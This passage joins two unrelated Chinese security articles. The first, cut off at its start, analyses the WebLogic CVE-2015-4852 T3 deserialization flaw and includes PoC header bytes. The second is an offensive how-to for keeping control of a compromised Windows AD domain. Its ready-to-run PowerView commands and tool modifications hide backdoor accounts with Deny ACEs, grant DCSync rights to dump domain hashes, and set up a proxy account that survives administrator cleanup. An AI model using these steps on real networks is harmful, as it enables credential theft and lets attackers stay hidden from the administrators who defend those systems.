debug 模式运行。当然如果增添 sleep 应该也是可以实现的。 Weblogic 请求包头 我们需要通过 Wireshark 对这一个流量包执行抓包操作,后续抓到包的请求头如图 这一个就是它请求包的头 t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001 在发送该请求包头后,服务端 Weblogic 会有一个响应,内容如下 HELO:10.3.6.0.false AS:2048 HL:19 HELO 后面的内容则是被攻击方的 Weblogic 版本号,也就是说,在发送正确的请求包头后,服务端会进行一个返回 Weblogic 的版本号。 Weblogic 请求主体 请求主体,也就是发送的数据,这些数据分为七部分内容,此处借用 z_zz_zzz师傅的http://drops.xmd5.com/static/drops/web-13470.html文章中的一张图 第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001 后面第 n 部分的数据,其实是不限制的,也就是说,我可以只有一部分的 Java 序列化数据,也可以有七部分的 Java 序列化数据,这并不重要,我们可以看观察一下 Wireshark 抓的包 在 ac ed 00 05 之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。 而此处,如果有多个 Java 序列化的数据,可以对任一一个数据进行攻击即可。 0x04 漏洞分析与调试 寻找尾部漏洞点 毕竟是反序列化的漏洞,思考了一下从两个点入手。 1、是否存在 Jndi 注入2、是否有能够命令执行的利用点 Jndi 注入的链尾探索 怀着这样的思路,先全局搜索 Jndi 关键词,感觉我这样的做法应该很不精准,但是暂时找不到其他好的方法,应该是要借助一些插件或者工具什么的了。 这里有一个 JndiServiceImpl 类,看着不错,点进去看看,它的 invoke() 方法同样吸引人,点过去之后发现疑似存在 jndi 注入 不过这里虽然参数 ———— this.implJndiName 是可控的,但是无法进行攻击,因为只能对 java:comp/env/ 进行探测,无法对 rmi, jndi, ldap 三者进行有效的调用,初步告吹了。 重新换一个类,这里我找到的是 JndiAttrs 类,在它的构造函数中存在调用 ldap 的现象,在第 40 行 从第六个字符开始截取,存在一些绕过手法,这个并不要紧,而 providerURL 最后会被 put 进 env 当中,env 是一个 Properties 类 继续往下分析,env 作为 InitialDirContext 类的构造函数的传参。 一路跟进,是到了 InitialContext 的构造函数,跟进 init() 方法 跟进 getDefaultInitCtx() 方法,再跟进 NamingManager.getInitialContext(myProps),发现只是 loadClass 了一个对象,寄,白给。 诸如此类链尾的尝试还有很多,师傅们可以自行尝试,我这只是在抛砖引玉。由于篇幅限制,后续内容我们还是集中于 Weblogic CVE-2015-4852 的漏洞分析。 漏洞分析 通过命令 ls -r ./* | grep -i commons,抑或是通过 maven dependency analyze,都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。 所以我们现在已经有了链尾,需要寻找一个合适的入口类,这里就直接借用其他师傅们的研究成果了,反序列化的入口类是在 InboundMsgAbbrev#readObject 处,下个断点开始调试。 Weblogic T3 对于 RMI 传递过来的数据在处理上还是比较绕的,不过有了前面 z_zz_zzz 师傅文章中的那张图,在理解上能够变得简单得多。 开始调试 先跟进 ServerChannelInputStream 的构造函数,ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息 继续跟进 getServerChannel() 方法 我们可以关注一下目前的 this.connection 是什么 connection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 这个类,在 this.connection 中主要存储了一些 RMI 连接的数据,包括端口地址等 跟进 getChannel() 方法,开始处理 T3 协议 T3 头处理结束,重新回到 InboundMsgAbbrev#readObject 处,跟进 readObject() 方法 一路跟进至 InboundMsgAbbrev#resolveClass() 中,这里的调用栈如下 resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm) readNonProxyDesc:1610, ObjectInputStream (java.io) readClassDesc:1515, ObjectInputStream (java.io) readOrdinaryObject:1769, ObjectInputStream (java.io) readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) readObject:66, InboundMsgAbbrev (weblogic.rjvm) read:38, InboundMsgAbbrev (weblogic.rjvm) resolveClass() 方法是用来处理类的,这些类在经过反序列化之后会走到 resolveClass() 方法这里,此时的 var1,正是我们的 AnnotationInvocationHandler 类 这时候的 AnnotationInvocationHandler 类并不会被直接拿去反序列化,因为 Weblogic 服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后(也可以说只是做了 Class.forName() 的操作之后),才会开始进行真正的反序列化 后续就是熟悉的 CC1 链环节,这里不再展开 PoC 理解 PoC 本质就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,我们需要写入的有几段东西。 1、Header,这代表了数据包长度2、T3 Header3、反序列化标志,也就是 fe 01 00 00 所以这三段话是这么来的 header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") 0x05 漏洞修复 在 resolveClass 处打补丁 在前面分析的过程中,我们能够看出来,加载类其实是通过调用 resolveClass() 方法,再通过反射获取到任意类的,所以官方选择了基于 resolveClass() 去做黑名单校验。 如果在 resolveClass() 处加入一个过滤,在 readNonProxyDesc 调用完 resolveClass 方法后,后面的反序列化操作无法完成。 通过 Web 代理与 nginx 等负载均衡防御 Web 代理的方式只能转发 HTTP 的请求,而不会转发 T3 协议的请求,这就能防御住 T3 漏洞的攻击。当然这对于业务上有很大的影响。同理负载均衡也是,不过负载均衡需要自己手动设置。 黑名单 bypass Oracle 官方对于 CVE-2015-4852 的修复是通过黑名单限制的。 黑名单中的类不会被反序列化 绕过思路如下 其实就是由 ServerChannelInputStream 换到了自身的 ReadExternal#InputStream,这一个 bypass 也被收录为 CVE-2016-0638;后续会对这一个漏洞进行分析。 0x06 小结 从原理角度上来说还是比较简单的,不过理解 T3 的传输,并且构造恶意 PoC 的过程是非常值得学习的,CVE-2015-4852 为一些类似的攻击提供了思路。
如何在Windows AD域中驻留ACL后门
前言 当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL的后门。 ACL介绍 ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。 https://learn.microsoft.com/zh-cn/windows/desktop/SecGloss/s-gly包含与https://learn.microsoft.com/zh-cn/windows/win32/secauthz/securable-objects关联的安全信息。 安全描述符由 https://learn.microsoft.com/zh-cn/windows/desktop/api/Winnt/ns-winnt-security_descriptor 结构和关联的安全信息组成。 安全描述符可以包含以下安全信息:: 1、对象所有者和主组https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-identifiers (SID) 。 2、指定允许或拒绝特定用户或组的访问权限的 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists 。 3、一个 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists ,指定为对象生成审核记录的访问尝试的类型。 4、一组控制位,用于限定安全描述符或其单个成员的含义。 隐藏安全描述符 当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组: 可以在GUI上对所有者进行修改,也可以使用powerview进行修改: Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo 修改完成后: 因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo用户Deny所有权限的ACL,但是发现powerview的Add-DomainObjectAcl方法并没有设置Deny权限的操作,只有Allow: 当然,你可以使用New-ADObjectAccessControlEntry来完成手动ACL的添加,他的原理如下图: 上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl已经完成了自动化的CommitChanges,直接把Allow默认可变的参数不就行了?首先手动在Add-DomainObjectAcl添加一个AccessControlType参数: .PARAMETER AccessControlType Specifies the type of ACE (allow or deny) 设置参数定义: [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, 删除之前的默认的Allow: 最后把AccessControlType参数替换之前的ControlType: 现在就可以在使用AccessControlType参数来给对象添加Allow或者Deny的权限了。 当尝试域管添加一个对jumbo用户Deny所有权限的ACL后: Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny 当然,把SID改成SamAccountName也是可以的: Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny 可以发现域管也没权限查看jumbo用户的属性了: 当使用system用户查看jumbo用户ACL时,可以看到对应的Deny的ACL: 现在域管对jumbo用户已经无法操作任何东西了,先用system用户删除该Deny权限,准备使用powerview的Remove-DomainObjectAcl方法时,发现也只有的Allow,也就是默认只能移除对象的Allow权限,老方法,把删除的ACL属性设置为可变参数: 进行删除: Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny 当然,把SID改成SamAccountName也是可以的: Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny 那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo用户的拥有者改成默认的域管组,然后对域管进行设置Deny的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo拥有者设置为jumbo的目的: 上面尝试了拒绝域管对jumbo所有的权限,那为了隐藏,并且为了防止后续还要对jumbo用户的一些其他修改,实际上可以对jumbo用户设置everyone拒绝读取的权限即可: 现在所有用户对其都没有查看权限了: 当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的: 现在通过net user命令已经看不到jumbo这个用户了: 在“用户和计算机”里看用户长这样: 从上面的操作可以发现,给everyone用户添加拒绝读取权限时是通过GUI实现的,因为everyone用户是个特殊的用户,属于https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-special-identities-groups#everyone,是一个属于https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids的用户,其对应的SID为S-1-1-0: 当尝试使用powerview的Add-DomainObjectAcl方法是无法完成给everyone用户添加ACL的: 通过查看powerview的代码,会通过Get-ObjectAcl方法获取对应用户的SID,但是刚刚提到,everyone用户是个特殊的用户,导致查不到: 但是看了下还有个New-ADObjectAccessControlEntry方法,会判断输入的PrincipalIdentity参数是不是SID,如果是SID就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl方法中:       if ($PrincipalIdentity -notmatch '^S-1-.*') {           $PrincipalSearcherArguments = @{               'Identity' = $PrincipalIdentity               'Properties' = 'distinguishedname,objectsid'           }           if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }           if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }           if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }           if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }           if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }           if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }           if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }           $Principal = Get-DomainObject @PrincipalSearcherArguments           if (-not $Principal) {               throw "Unable to resolve principal: $PrincipalIdentity"           }           elseif($Principal.Count -gt 1) {               throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"           }           $ObjectSid = $Principal.objectsid           Write-Host ($ObjectSid)       }       else {           Write-Host "..sid.."           $ObjectSid = $PrincipalIdentity       }               $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) 现在尝试下,给jumbo2用户添加everyone所有拒绝的ACL: Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny Remove-DomainObjectAcl方法同理。 隐藏主体 通过上面的步骤,除了jumbo用户本身可以查看jumbo用户以为,其他用户都没有ReadControl权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo用户移到一个单独的OU组里: 然后给这个OU设置everyone拒绝读取权限即可: 遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。 Dcsync Dcsync实际上就是给用户设置两条扩展权限,分别为: DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) 当用户拥有这两条ACL后,即可使用DRS协议获取域hash凭据。给用户在域对象上添加Dcsync权限即可: 代理账号 上面提到,把jumbo用户拥有者改成自身,然后设置everyone对其没有读取权限,这样就可以达到隐藏jumbo,然后手上的jumbo用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。 首先攻击账号为attack,代理账号为good,首先设置attack账号所有者为good: Set-DomainObjectOwner -identity attack -OwnerIdentity good 给attack账号添加dcsync权限: Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow 设置attack都不可操作: Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny 这个时候,如果attack在发起攻击的时候被管理员发现了,把attack账号密码重置了,但是good账号是attack账号的拥有者,可以修改attack账号的ACL,比如给自己添加修改密码的权限,然后去重置attack账号的密码,然后就又可以拿来攻击了。 总结 本文主要讲了在Windows域中如何利用ACL进行后门隐藏,并对powerview进行修改使其支持在添加ACL或者删除ACL时可以指定Allow或者Deny,也可以选择everyone此类特殊用户。